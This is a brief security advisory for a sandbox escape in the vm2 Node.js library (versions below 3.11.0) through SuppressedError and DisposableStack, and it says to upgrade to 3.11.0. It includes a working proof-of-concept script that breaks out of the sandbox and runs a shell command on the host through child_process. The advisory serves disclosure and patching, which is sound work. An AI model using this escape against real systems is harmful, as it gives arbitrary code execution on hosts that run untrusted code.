## Overview

In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.

### PoC
```js
const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);
```

## Affected packages

- `vm2 < 3.11.0`

## Remediation

Upgrade to a patched release:

- `vm2 3.11.0`
